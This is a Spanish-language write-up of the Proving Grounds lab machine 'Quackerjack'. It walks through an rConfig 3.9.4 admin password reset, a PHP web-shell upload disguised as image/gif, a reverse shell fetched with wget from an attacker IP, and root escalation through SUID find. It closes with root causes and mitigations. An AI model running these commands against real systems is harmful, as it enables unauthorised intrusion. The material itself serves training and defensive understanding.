Saltar al contenido
JN
Writeup Proving Grounds Media

Quackerjack — Proving Grounds

Walkthrough de una máquina Linux de Proving Grounds que cubre el restablecimiento de la contraseña del administrador en rConfig, un bypass de validación en la subida de archivos, una shell como apache y escalada de privilegios mediante un binario find con SUID.

Plataforma
Proving Grounds
Dificultad
Media
Fecha
  • proving-grounds
  • linux
  • rconfig
  • authentication-bypass
  • file-upload-bypass
  • php
  • web-shell
  • reverse-shell
  • linpeas
  • suid
  • find
  • privilege-escalation

Descripción general

Quackerjack es una máquina Linux de Proving Grounds. La cadena de ataque combinó una instancia expuesta de rConfig 3.9.4 sobre HTTPS, el restablecimiento de la contraseña del administrador mediante una funcionalidad de edición de usuario no autenticada, abuso de la subida de archivos autenticado, ejecución de comandos PHP como apache, una reverse shell sobre TCP/80 y escalada de privilegios con find con SUID.

Este walkthrough independiente documenta un ejercicio autorizado con fines educativos y no está afiliado ni respaldado por OffSec.

Resumen del ataque

Nmap identificó varios servicios expuestos, entre ellos una interfaz administrativa rConfig 3.9.4 sobre HTTPS en el puerto 8081. Una funcionalidad de edición de usuario no autenticada permitió restablecer la contraseña del administrador; el acceso autenticado habilitó la subida de un archivo PHP mediante la sección Vendors, y el archivo subido entregó ejecución de comandos como apache. Una reverse shell sobre TCP/80 llevó a la enumeración local, donde un binario find con SUID proporcionó la ruta final hasta root.

Enumeración

Comencé con un escaneo TCP SYN top-1000 por defecto contra 192.168.238.57. No fue un escaneo de todos los puertos, pero identificó los puertos abiertos 21, 22, 80, 111, 139, 445, 3306 y 8081:

sudo nmap -sS -T4 192.168.238.57

Con los puertos abiertos identificados, ejecuté un escaneo dirigido de servicios y scripts contra ellos:

sudo nmap -sS -sC -sV -O -T4 -p 21,22,80,111,139,445,3306,8081 --script="vuln" 192.168.238.57 -oN nmap-tcp.txt

El resultado de servicios relevante fue:

  • 21: vsftpd 3.0.2
  • 22: OpenSSH 7.4
  • 80: Apache 2.4.6 en CentOS, PHP 5.4.16, OpenSSL 1.0.2k-fips
  • 111: rpcbind
  • 139/445: Samba
  • 3306: MariaDB; Nmap estimó 10.3.23 o anterior
  • 8081: Apache 2.4.6 con HTTPS y rConfig
Resultado del escaneo Nmap dirigido listando ocho servicios TCP en Quackerjack.
El escaneo dirigido identificó los servicios seleccionados para enumeración más profunda.

La detección de SO no fue confiable y no se estableció una huella exacta de sistema operativo.

También ejecuté un escaneo UDP top-20:

sudo nmap -sU --top-ports 20 192.168.238.57 -oN nmap-udp-top.txt --open

Todos los resultados UDP devueltos fueron open|filtered, por lo que no se confirmó ningún servicio UDP abierto.

Revisión de los servicios expuestos

El puerto 80 servía la página de prueba de Apache para CentOS y devolvía 403 ante nuevas peticiones. WhatWeb confirmó las versiones de Apache, PHP y OpenSSL. El fuzzing de archivos y directorios no reveló ninguna ruta útil de la aplicación, y Nikto y Searchsploit no entregaron una ruta de explotación útil.

En FTP, la autenticación anónima tuvo éxito, pero el listado del directorio agotó el tiempo de espera y no se recuperaron archivos. No se identificó ningún exploit útil.

En SMB, la autenticación nula tuvo éxito y print$ e IPC$ quedaron visibles, pero no se obtuvo acceso útil a archivos.

En MariaDB, la conexión remota fue rechazada porque el host atacante no estaba permitido como cliente. SSH y rpcbind se mantuvieron limitados al resumen de servicios anterior.

Descubrimiento de rConfig

Solicitar el puerto 8081 sobre HTTP devolvió un error de puerto con SSL habilitado. Al volver a probarlo sobre HTTPS quedó expuesto rConfig, y el pie de página identificó la aplicación como rConfig 3.9.4. Esta fue la superficie de ataque principal.

Página de login de rConfig mostrada sobre HTTPS en el puerto 8081.
HTTPS en el puerto 8081 exponía una interfaz administrativa rConfig 3.9.4.

Restablecimiento de la contraseña del administrador

Exploit-DB 48878 se ejecutó contra el objetivo, que se identificó como rConfig 3.9.4. El exploit apuntaba a rConfig 3.9.5 y advirtió sobre la discrepancia de versión, indicando que su ruta de RCE directa podría no aplicar. Su etapa directa de reverse shell no entregó una shell durante este intento.

El método 2, enumeración de usuarios y edición de usuario, identificó la cuenta de administrador y restableció su contraseña. El exploit no entregó la shell directa que intentaba obtener, pero su funcionalidad de edición de usuario sí produjo un resultado útil: identificó la cuenta de administrador y permitió restablecer su contraseña. El restablecimiento dio acceso autenticado al dashboard de rConfig.

Evidencia de terminal reconstruida que muestra la ejecución del exploit contra rConfig 3.9.4 con advertencia de discrepancia de versión, selección del método 2, descubrimiento de la cuenta de administrador y redacción de la contraseña.
La funcionalidad de edición de usuario del exploit permitió restablecer la contraseña del administrador, aunque la etapa de shell directa no tuvo éxito.

Bypass de validación en la subida de archivos

Utilizando la cuenta de administrador restablecida, me autentiqué en rConfig y abrí la funcionalidad de Vendors en vendors.php. Tras seleccionar Add Vendor, elegí un archivo PHP de web shell en el campo de subida Vendor Logo.

Interfaz autenticada de Vendors en rConfig mostrando el formulario Add Vendor con el campo de subida de logo.
La interfaz autenticada de Vendors exponía la funcionalidad de subida utilizada para enviar el archivo PHP.

Intercepté la request multipart, mantuve el nombre del archivo como shell.php y definí la declaración del archivo multipart como Content-Type: image/gif antes de enviarla.

Request multipart de subida mostrando el campo vendorLogo con el nombre de archivo shell.php declarado como Content-Type image/gif.
La subida aceptada conservó el nombre PHP mientras presentaba el archivo como un tipo MIME de imagen permitido.

La ruta de subida coincidía con la vulnerabilidad de rConfig 3.9.4 conocida como CVE-2020-12255. La evidencia conservada demuestra que el nombre .php fue aceptado mientras el archivo se presentaba como image/gif. Esto respalda la existencia de una debilidad en la validación del tipo MIME controlado por el cliente, aunque no demuestra que ese fuera el único control aplicado por el servidor.

El archivo subido fue accesible en /images/vendor/shell.php, y los comandos PHP se ejecutaron como apache.

Obtención de una shell inicial

El archivo subido se almacenó bajo /images/vendor/, y /images/vendor/shell.php fue accesible desde el navegador. La web shell ejecutó whoami, devolviendo apache, y which nc no devolvió resultado. Ya se había preparado un payload Bash de reverse shell, pero no se conservaron el comando exacto de generación ni el contenido del payload.

Web shell ejecutando whoami y which nc, devolviendo apache y sin resultado de netcat.
El archivo PHP subido entregó ejecución de comandos como la cuenta de servicio de Apache.

El callback anterior del exploit no produjo una shell. Durante pruebas posteriores, los intentos de reverse shell por otros puertos no tuvieron éxito, mientras que TCP/80 sí habilitó la conexión saliente desde el objetivo. Por eso preparé el payload Bash y el listener en el puerto 80.

Desde la web shell descargué, marqué como ejecutable y ejecuté el payload:

wget http://192.168.45.185/shell.sh
chmod +x shell.sh
./shell.sh

En la máquina atacante inicié el listener:

rlwrap nc -nvlp 80

El objetivo se conectó de vuelta por TCP/80 y whoami confirmó que la shell se ejecutaba como apache. Después la actualicé a una PTY:

python -c 'import pty; pty.spawn("/bin/bash")'
Listener de reverse shell recibiendo una conexión del objetivo sobre TCP puerto 80.
La conexión reversa devolvió una shell bajo la cuenta de servicio de Apache.

Enumeración local

LinPEAS se ejecutó e identificó varios binarios con SUID. Dos candidatos destacados fueron /usr/bin/pkexec y /usr/bin/find. /usr/bin/pkexec era la versión 0.112, y /usr/bin/find pertenecía a root y tenía el bit SUID.

Análisis de rutas de escalada de privilegios

Primero probé el binario pkexec con SUID de forma directa:

pkexec /bin/sh

Solicitó autenticación, la autenticación falló y esta ruta no entregó escalada.

LinPEAS identificó /usr/bin/find con permisos SUID de root. Consulté GTFOBins, donde se documentaba una técnica SUID basada en find -exec y /bin/sh -p. Esa referencia sirvió para construir el comando utilizado en la siguiente sección.

Explotación del binario find con SUID

La escalada exitosa utilizó el binario find con SUID:

find . -exec /bin/sh -p \; -quit

/usr/bin/find era SUID root, por lo que -exec lanzó /bin/sh y -p conservó los privilegios efectivos. La shell resultante heredó privilegios de root, y whoami confirmó root.

El resultado final de proof fue:

cat /home/rconfig/local.txt
07e8b7e8d7c1356477fc230650af66b5

cat /root/proof.txt
8e3968e7c4e13e1e618c5bc43a2d40ac
Shell de root mostrando la escalada con find SUID, la salida de whoami y ambos flags del laboratorio.
El binario `find` con SUID produjo una shell de root y permitió acceder a `local.txt` y `/root/proof.txt`.

Causa raíz

Acceso inicial

  • Una interfaz administrativa rConfig desactualizada estaba expuesta a través de un servicio HTTPS accesible.
  • Una funcionalidad de edición de usuario no autenticada permitía modificar la cuenta de administrador.
  • La validación de subida aceptaba un nombre PHP acompañado por un tipo MIME de imagen controlado por el cliente.
  • El archivo PHP subido se almacenaba en un directorio accesible y ejecutable desde la web.

Escalada de privilegios

  • /usr/bin/find tenía un bit SUID root innecesario.
  • Su funcionalidad de ejecución de comandos permitía iniciar una shell.
  • /bin/sh -p conservaba los privilegios efectivos de root heredados del proceso SUID.

Mitigaciones

  • Actualizar o retirar la instalación vulnerable de rConfig y restringir su interfaz administrativa a redes de gestión confiables.
  • Impedir la modificación no autenticada de cuentas, invalidar las sesiones afectadas y rotar las credenciales después de la remediación.
  • Validar las subidas en el servidor mediante inspección de contenido y listas estrictas de extensiones permitidas, asignar nombres aleatorios y almacenar los archivos fuera de directorios web ejecutables.
  • Eliminar bits SUID innecesarios y auditar periódicamente los binarios privilegiados en busca de rutas de ejecución de comandos documentadas en GTFOBins.

Aprendizajes

  • Identificar el servicio real en cada puerto en lugar de confiar en las asociaciones predeterminadas.
  • Tratar un error de puerto con SSL como una pista de enumeración y volver a probar el servicio mediante HTTPS.
  • Un exploit parcialmente exitoso puede habilitar la siguiente etapa aunque su payload final falle.
  • Un tipo MIME multipart controlado por el cliente no constituye una barrera confiable para la seguridad de una subida.
  • Utilidades comunes de Unix pueden convertirse en rutas directas de escalada cuando reciben privilegios SUID.